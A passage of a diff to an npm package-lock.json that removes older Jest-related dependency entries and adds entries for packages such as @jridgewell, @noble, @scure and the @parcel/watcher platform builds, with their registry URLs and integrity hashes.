"sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==", "engines": { - "node": ">=7.0.0" + "node": ">=6.0.0" } }, - "node_modules/@jest/transform/node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "node_modules/@jest/transform/node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true, + "node_modules/@jridgewell/set-array": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.2.1.tgz", + "integrity": "sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==", "engines": { - "node": ">=8" + "node": ">=6.0.0" } }, - "node_modules/@jest/transform/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "node_modules/@jridgewell/source-map": { + "version": "0.3.6", + "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.6.tgz", + "integrity": "sha512-1ZJTZebgqllO79ue2bm3rIGud/bOe0pP5BjSRCRxxYkEZS8STV7zN84UBbiYu7jy+eCKSnVIUgoWWE/tt+shMQ==", "dev": true, + "license": "MIT", "dependencies": { - "has-flag": "^4.0.0" - }, - "engines": { - "node": ">=8" + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.25" } }, - "node_modules/@jest/types": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/@jest/types/-/types-29.0.1.tgz", - "integrity": "sha512-ft01rxzVsbh9qZPJ6EFgAIj3PT9FCRfBF9Xljo2/33VDOUjLZr0ZJ2oKANqh9S/K0/GERCsHDAQlBwj7RxA+9g==", - "dev": true, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.4", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.4.tgz", + "integrity": "sha512-VT2+G1VQs/9oz078bLrYbecdZKs912zQlkelYpuf+SXF+QvZDYJlbx/LSx+meSAwdDFnF8FVXW92AVjjkVmgFw==", + "license": "MIT" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.29", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.29.tgz", + "integrity": "sha512-uw6guiW/gcAGPDhLmd77/6lW8QLeiV5RUTsAX46Db6oLhGaVj4lhnPwb184s1bkc8kdVg/+h988dro8GRDpmYQ==", + "license": "MIT", "dependencies": { - "@jest/schemas": "^29.0.0", - "@types/istanbul-lib-coverage": "^2.0.0", - "@types/istanbul-reports": "^3.0.0", - "@types/node": "*", - "@types/yargs": "^17.0.8", - "chalk": "^4.0.0" - }, - "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" } }, - "node_modules/@jest/types/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, + "node_modules/@kurkle/color": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/@kurkle/color/-/color-0.3.1.tgz", + "integrity": "sha512-hW0GwZj06z/ZFUW2Espl7toVDjghJN+EKqyXzPSV8NV89d5BYp5rRMBJoc+aUN0x5OXDMeRQHazejr2Xmqj2tw==" + }, + "node_modules/@metamask/safe-event-emitter": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@metamask/safe-event-emitter/-/safe-event-emitter-2.0.0.tgz", + "integrity": "sha512-/kSXhY692qiV1MXu6EeOZvg5nECLclxNXcKCxJ3cXQgYuRymRHpdx/t7JXfsK+JLjwA1e1c1/SBrlQYpusC29Q==" + }, + "node_modules/@noble/curves": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/@noble/curves/-/curves-1.4.2.tgz", + "integrity": "sha512-TavHr8qycMChk8UwMld0ZDRvatedkzWfH8IiaeGCfymOP5i0hSCozz9vHOL0nkwk7HRMlFnAiKpS2jrUmSybcw==", "dependencies": { - "color-convert": "^2.0.1" - }, - "engines": { - "node": ">=8" + "@noble/hashes": "1.4.0" }, "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" + "url": "https://paulmillr.com/funding/" } }, - "node_modules/@jest/types/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - }, + "node_modules/@noble/hashes": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-1.4.0.tgz", + "integrity": "sha512-V1JJ1WTRUqHHrOSh597hURcMqVKVGL/ea3kv0gSnEdsEZ0/+VyPghM1lMNGc00z7CIQorSvbKpuJkxvuHbvdbg==", "engines": { - "node": ">=10" + "node": ">= 16" }, "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" + "url": "https://paulmillr.com/funding/" } }, - "node_modules/@jest/types/node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "node_modules/@parcel/watcher": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher/-/watcher-2.5.0.tgz", + "integrity": "sha512-i0GV1yJnm2n3Yq1qw6QrUrd/LI9bE8WEBOTtOkpCXHHdyN3TAGgqAK/DAT05z4fq2x04cARXt2pDmjWjL92iTQ==", "dev": true, + "hasInstallScript": true, + "optional": true, "dependencies": { - "color-name": "~1.1.4" + "detect-libc": "^1.0.3", + "is-glob": "^4.0.3", + "micromatch": "^4.0.5", + "node-addon-api": "^7.0.0" }, "engines": { - "node": ">=7.0.0" - } - }, - "node_modules/@jest/types/node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "node_modules/@jest/types/node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + }, + "optionalDependencies": { + "@parcel/watcher-android-arm64": "2.5.0", + "@parcel/watcher-darwin-arm64": "2.5.0", + "@parcel/watcher-darwin-x64": "2.5.0", + "@parcel/watcher-freebsd-x64": "2.5.0", + "@parcel/watcher-linux-arm-glibc": "2.5.0", + "@parcel/watcher-linux-arm-musl": "2.5.0", + "@parcel/watcher-linux-arm64-glibc": "2.5.0", + "@parcel/watcher-linux-arm64-musl": "2.5.0", + "@parcel/watcher-linux-x64-glibc": "2.5.0", + "@parcel/watcher-linux-x64-musl": "2.5.0", + "@parcel/watcher-win32-arm64": "2.5.0", + "@parcel/watcher-win32-ia32": "2.5.0", + "@parcel/watcher-win32-x64": "2.5.0" + } + }, + "node_modules/@parcel/watcher-android-arm64": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-android-arm64/-/watcher-android-arm64-2.5.0.tgz", + "integrity": "sha512-qlX4eS28bUcQCdribHkg/herLe+0A9RyYC+mm2PXpncit8z5b3nSqGVzMNR3CmtAOgRutiZ02eIJJgP/b1iEFQ==", + "cpu": [ + "arm64" + ], "dev": true, + "optional": true, + "os": [ + "android" + ], "engines": { - "node": ">=8" + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" } }, - "node_modules/@jest/types/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "node_modules/@parcel/watcher-darwin-arm64": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-darwin-arm64/-/watcher-darwin-arm64-2.5.0.tgz", + "integrity": "sha512-hyZ3TANnzGfLpRA2s/4U1kbw2ZI4qGxaRJbBH2DCSREFfubMswheh8TeiC1sGZ3z2jUf3s37P0BBlrD3sjVTUw==", + "cpu": [ + "arm64" + ], "dev": true, - "dependencies": { - "has-flag": "^4.0.0" - }, + "optional": true, + "os": [ + "darwin" + ], "engines": { - "node": ">=8" - } - }, - "node_modules/@jridgewell/gen-mapping": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz", - "integrity": "sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==", - "dependencies": { - "@jridgewell/set-array": "^1.0.1", - "@jridgewell/sourcemap-codec": "^1.4.10", - "@jridgewell/trace-mapping": "^0.3.9" + "node": ">= 10.0.0" }, - "engines": { - "node": ">=6.0.0" + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" } }, - "node_modules/@jridgewell/resolve-uri": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz", - "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==", + "node_modules/@parcel/watcher-darwin-x64": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-darwin-x64/-/watcher-darwin-x64-2.5.0.tgz", + "integrity": "sha512-9rhlwd78saKf18fT869/poydQK8YqlU26TMiNg7AIu7eBp9adqbJZqmdFOsbZ5cnLp5XvRo9wcFmNHgHdWaGYA==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ], "engines": { - "node": ">=6.0.0" + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" } }, - "node_modules/@jridgewell/set-array": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz", - "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==", + "node_modules/@parcel/watcher-freebsd-x64": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-freebsd-x64/-/watcher-freebsd-x64-2.5.0.tgz", + "integrity": "sha512-syvfhZzyM8kErg3VF0xpV8dixJ+RzbUaaGaeb7uDuz0D3FK97/mZ5AJQ3XNnDsXX7KkFNtyQyFrXZzQIcN49Tw==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "freebsd" + ], "engines": { - "node": ">=6.0.0" + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" } }, - "node_modules/@jridgewell/source-map": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.2.tgz", - "integrity": "sha512-m7O9o2uR8k2ObDysZYzdfhb08VuEml5oWGiosa1VdaPZ/A6QyPkAJuwN0Q1lhULOf6B7MtQmHENS743hWtCrgw==", + "node_modules/@parcel/watcher-linux-arm-glibc": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm-glibc/-/watcher-linux-arm-glibc-2.5.0.tgz", + "integrity": "sha512-0VQY1K35DQET3dVYWpOaPFecqOT9dbuCfzjxoQyif1Wc574t3kOSkKevULddcR9znz1TcklCE7Ht6NIxjvTqLA==", + "cpu": [ + "arm" + ], "dev": true, - "dependencies": { - "@jridgewell/gen-mapping": "^0.3.0", - "@jridgewell/trace-mapping": "^0.3.9" - } - }, - "node_modules/@jridgewell/sourcemap-codec": { - "version": "1.4.14", - "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz", - "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==" - }, - "node_modules/@jridgewell/trace-mapping": { - "version": "0.3.15", - "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.15.tgz", - "integrity": "sha512-oWZNOULl+UbhsgB51uuZzglikfIKSUBO/M9W2OfEjn7cmqoAiCgmv9lyACTUacZwBz0ITnJ2NqjU8Tx0DHL88g==", - "dependencies": { - "@jridgewell/resolve-uri": "^3.0.3", - "@jridgewell/sourcemap-codec": "^1.4.10" + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" } }, - "node_modules/@metamask/safe-event-emitter": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/@metamask/safe-event-emitter/-/safe-event-emitter-2.0.0.tgz", - "integrity": "sha512-/kSXhY692qiV1MXu6EeOZvg5nECLclxNXcKCxJ3cXQgYuRymRHpdx/t7JXfsK+JLjwA1e1c1/SBrlQYpusC29Q==" - }, - "node_modules/@nodelib/fs.scandir": { - "version": "2.1.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", - "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "node_modules/@parcel/watcher-linux-arm-musl": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm-musl/-/watcher-linux-arm-musl-2.5.0.tgz", + "integrity": "sha512-6uHywSIzz8+vi2lAzFeltnYbdHsDm3iIB57d4g5oaB9vKwjb6N6dRIgZMujw4nm5r6v9/BQH0noq6DzHrqr2pA==", + "cpu": [ + "arm" + ], "dev": true, - "dependencies": { - "@nodelib/fs.stat": "2.0.5", - "run-parallel": "^1.1.9" - }, + "optional": true, + "os": [ + "linux" + ], "engines": { - "node": ">= 8" + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" } }, - "node_modules/@nodelib/fs.stat": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", - "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "node_modules/@parcel/watcher-linux-arm64-glibc": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm64-glibc/-/watcher-linux-arm64-glibc-2.5.0.tgz", + "integrity": "sha512-BfNjXwZKxBy4WibDb/LDCriWSKLz+jJRL3cM/DllnHH5QUyoiUNEp3GmL80ZqxeumoADfCCP19+qiYiC8gUBjA==", + "cpu": [ + "arm64" + ], "dev": true, + "optional": true, + "os": [ + "linux" + ], "engines": { - "node": ">= 8" + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" } }, - "node_modules/@nodelib/fs.walk": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", - "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "node_modules/@parcel/watcher-linux-arm64-musl": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm64-musl/-/watcher-linux-arm64-musl-2.5.0.tgz", + "integrity": "sha512-S1qARKOphxfiBEkwLUbHjCY9BWPdWnW9j7f7Hb2jPplu8UZ3nes7zpPOW9bkLbHRvWM0WDTsjdOTUgW0xLBN1Q==", + "cpu": [ + "arm64" + ], "dev": true, - "dependencies": { - "@nodelib/fs.scandir": "2.1.5", - "fastq": "^1.6.0" - }, + "optional": true, + "os": [ + "linux" + ], "engines": { - "node": ">= 8" + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" } }, - "node_modules/@npmcli/fs": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@npmcli/fs/-/fs-1.0.0.tgz", - "integrity": "sha512-8ltnOpRR/oJbOp8vaGUnipOi3bqkcW+sLHFlyXIr08OGHmVJLB1Hn7QtGXbYcpVtH1gAYZTlmDXtE4YV0+AMMQ==", + "node_modules/@parcel/watcher-linux-x64-glibc": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-x64-glibc/-/watcher-linux-x64-glibc-2.5.0.tgz", + "integrity": "sha512-d9AOkusyXARkFD66S6zlGXyzx5RvY+chTP9Jp0ypSTC9d4lzyRs9ovGf/80VCxjKddcUvnsGwCHWuF2EoPgWjw==", + "cpu": [ + "x64" + ], "dev": true, "optional": true, - "peer": true, - "dependencies": { - "@gar/promisify": "^1.0.1", - "semver": "^7.3.5" + "os": [ + "linux" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" } }, - "node_modules/@npmcli/fs/node_modules/semver": { - "version": "7.3.5", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", - "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", + "node_modules/@parcel/watcher-linux-x64-musl": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-x64-musl/-/watcher-linux-x64-musl-2.5.0.tgz", + "integrity": "sha512-iqOC+GoTDoFyk/VYSFHwjHhYrk8bljW6zOhPuhi5t9ulqiYq1togGJB5e3PwYVFFfeVgc6pbz3JdQyDoBszVaA==", + "cpu": [ + "x64" + ], "dev": true, "optional": true, - "peer": true, - "dependencies": { - "lru-cache": "^6.0.0" - }, - "bin": { - "semver": "bin/semver.js" - }, + "os": [ + "linux" + ], "engines": { - "node": ">=10" + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" } }, - "node_modules/@npmcli/move-file": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@npmcli/move-file/-/move-file-1.1.2.tgz", - "integrity": "sha512-1SUf/Cg2GzGDyaf15aR9St9TWlb+XvbZXWpDx8YKs7MLzMH/BCeopv+y9vzrzgkfykCGuWOlSu3mZhj2+FQcrg==", + "node_modules/@parcel/watcher-win32-arm64": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-win32-arm64/-/watcher-win32-arm64-2.5.0.tgz", + "integrity": "sha512-twtft1d+JRNkM5YbmexfcH/N4znDtjgysFaV9zvZmmJezQsKpkfLYJ+JFV3uygugK6AtIM2oADPkB2AdhBrNig==", + "cpu": [ + "arm64" + ], "dev": true, "optional": true, - "peer": true, - "dependencies": { - "mkdirp": "^1.0.4", - "rimraf": "^3.0.2" - }, + "os": [ + "win32" + ], "engines": { - "node": ">=10" + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" } }, - "node_modules/@sinclair/typebox": { - "version": "0.24.27", - "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.24.27.tgz", - "integrity": "sha512-K7C7IlQ3zLePEZleUN21ceBA2aLcMnLHTLph8QWk1JK37L90obdpY+QGY8bXMKxf1ht1Z0MNewvXxWv0oGDYFg==", - "dev": true - }, - "node_modules/@sindresorhus/is": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-4.6.0.tgz", - "integrity": "sha512-t09vSN3MdfsyCHoFcTRCH/iUtG7OJ0CsjzB8cjAmKc/va/kIgeDI/TxsigdncE/4be734m0cvIYwNaV4i2XqAw==", + "node_modules/@parcel/watcher-win32-ia32": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-win32-ia32/-/watcher-win32-ia32-2.5.0.tgz", + "integrity": "sha512-+rgpsNRKwo8A53elqbbHXdOMtY/tAtTzManTWShB5Kk54N8Q9mzNWV7tV+IbGueCbcj826MfWGU3mprWtuf1TA==", + "cpu": [ + "ia32" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], "engines": { - "node": ">=10" + "node": ">= 10.0.0" }, "funding": { - "url": "https://github.com/sindresorhus/is?sponsor=1" + "type": "opencollective", + "url": "https://opencollective.com/parcel" } }, - "node_modules/@sinonjs/commons": { - "version": "1.8.3", - "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-1.8.3.tgz", - "integrity": "sha512-xkNcLAn/wZaX14RPlwizcKicDk9G3F8m2nU3L7Ukm5zBgTwiT0wsoFAHx9Jq56fJA1z/7uKGtCRu16sOUCLIHQ==", + "node_modules/@parcel/watcher-win32-x64": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-win32-x64/-/watcher-win32-x64-2.5.0.tgz", + "integrity": "sha512-lPrxve92zEHdgeff3aiu4gDOIt4u7sJYha6wbdEZDCDUhtjTsOMiaJzG5lMY4GkWH8p0fMmO2Ppq5G5XXG+DQw==", + "cpu": [ + "x64" + ], "dev": true, - "dependencies": { - "type-detect": "4.0.8" + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" } }, - "node_modules/@sinonjs/fake-timers": { - "version": "9.1.2", - "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-9.1.2.tgz", - "integrity": "sha512-BPS4ynJW/o92PUR4wgriz2Ud5gpST5vz6GQfMixEDK0Z8ZCUv2M7SkBLykH56T++Xs+8ln9zTGbOvNGIe02/jw==", + "node_modules/@parcel/watcher/node_modules/node-addon-api": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz", + "integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==", "dev": true, + "optional": true + }, + "node_modules/@rrweb/types": { + "version": "2.0.0-alpha.18", + "resolved": "https://registry.npmjs.org/@rrweb/types/-/types-2.0.0-alpha.18.tgz", + "integrity": "sha512-iMH3amHthJZ9x3gGmBPmdfim7wLGygC2GciIkw2A6SO8giSn8PHYtRT8OKNH4V+k3SZ6RSnYHcTQxBA7pSWZ3Q==", + "license": "MIT" + }, + "node_modules/@rrweb/utils": { + "version": "2.0.0-alpha.18", + "resolved": "https://registry.npmjs.org/@rrweb/utils/-/utils-2.0.0-alpha.18.tgz", + "integrity": "sha512-qV8azQYo9RuwW4NGRtOiQfTBdHNL1B0Q//uRLMbCSjbaKqJYd88Js17Bdskj65a0Vgp2dwTLPIZ0gK47dfjfaA==", + "license": "MIT" + }, + "node_modules/@rtsao/scc": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@rtsao/scc/-/scc-1.1.0.tgz", + "integrity": "sha512-zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g==", + "dev": true + }, + "node_modules/@scure/base": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/@scure/base/-/base-1.1.8.tgz", + "integrity": "sha512-6CyAclxj3Nb0XT7GHK6K4zK6k2xJm6E4Ft0Ohjt4WgegiFUHEtFb2CGzmPmGBwoIhrLsqNLYfLr04Y1GePrzZg==", + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/@scure/bip32": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/@scure/bip32/-/bip32-1.4.0.tgz", + "integrity": "sha512-sVUpc0Vq3tXCkDGYVWGIZTRfnvu8LoTDaev7vbwh0omSvVORONr960MQWdKqJDCReIEmTj3PAr73O3aoxz7OPg==", "dependencies": { - "@sinonjs/commons": "^1.7.0" + "@noble/curves": "~1.4.0", + "@noble/hashes": "~1.4.0", + "@scure/base": "~1.1.6" + }, + "funding": { + "url": "https://paulmillr.com/funding/" } }, - "node_modules/@szmarczak/http-timer": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-5.0.1.tgz", - "integrity": "sha512-+PmQX0PiAYPMeVYe237LJAYvOMYW1j2rH5YROyS3b4CTVJum34HfRvKvAzozHAQG0TnHNdUfY9nCeUyRAs//cw==", + "node_modules/@scure/bip39": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@scure/bip39/-/bip39-1.3.0.tgz", + "integrity": "sha512-disdg7gHuTDZtY+ZdkmLpPCk7fxZSu3gBiEGuoC1XYxv9cGx3Z6cpTggCgW6odSOOIXCiDjuGejW+aJKCY/pIQ==", "dependencies": { - "defer-to-connect": "^2.0.1" + "@noble/hashes": "~1.4.0", + "@scure/base": "~1.1.6" }, - "engines": { - "node": ">=14.16" + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/@sinclair/typebox": { + "version": "0.27.8", + "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.27.8.tgz", + "integrity": "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA==", + "dev": true + }, + "node_modules/@sinonjs/commons": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-2.0.0.tgz", + "integrity": "sha512-uLa0j859mMrg2slwQYdO/AkrOfmH+X6LTVmNTS9CqexuE2IvVORIkSpJLqePAbEnKJ77aMmCwr1NUZ57120Xcg==", + "dev": true, + "dependencies": { + "type-detect": "4.0.8" + } + }, + "node_modules/@sinonjs/fake-timers": { + "version": "10.0.2", + "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-10.0.2.tgz", + "integrity": "sha512-SwUDyjWnah1AaNl7kxsa7cfLhlTYoiyhDAIgyh+El30YvXs/o7OLXpYH88Zdhyx9JExKrmHDJ+10bwIcY80Jmw==", + "dev": true, + "dependencies": { + "@sinonjs/commons": "^2.0.0" } }, "node_modules/@tarekraafat/autocomplete.js": { - "version": "10.2.7", - "resolved": "https://registry.npmjs.org/@tarekraafat/autocomplete.js/-/autocomplete.js-10.2.7.tgz", - "integrity": "sha512-iE+dnXI8/LrTaSORrnNdSyXg/bFCbCpz/R5GUdB3ioW+9PVEhglxNcSDQNeCXtrbRG0kOBFUd4unEiwcmqyn8A==", + "version": "10.2.9", + "resolved": "https://registry.npmjs.org/@tarekraafat/autocomplete.js/-/autocomplete.js-10.2.9.tgz", + "integrity": "sha512-A7OP3iJDTWeO85M3Vxu391acu9SmDguormHpMZ13khuyM180dKl9O1gAXSDA322XwkYuUU1Ad7WchW1TQNNuDw==", "funding": [ { "type": "opencollective", @@ -3292,34 +3618,24 @@ } ] }, - "node_modules/@tootallnate/once": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz", - "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==", - "dev": true, - "optional": true, - "peer": true, - "engines": { - "node": ">= 6" - } - }, "node_modules/@trysound/sax": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/@trysound/sax/-/sax-0.2.0.tgz", "integrity": "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==", "dev": true, + "license": "ISC", "engines": { 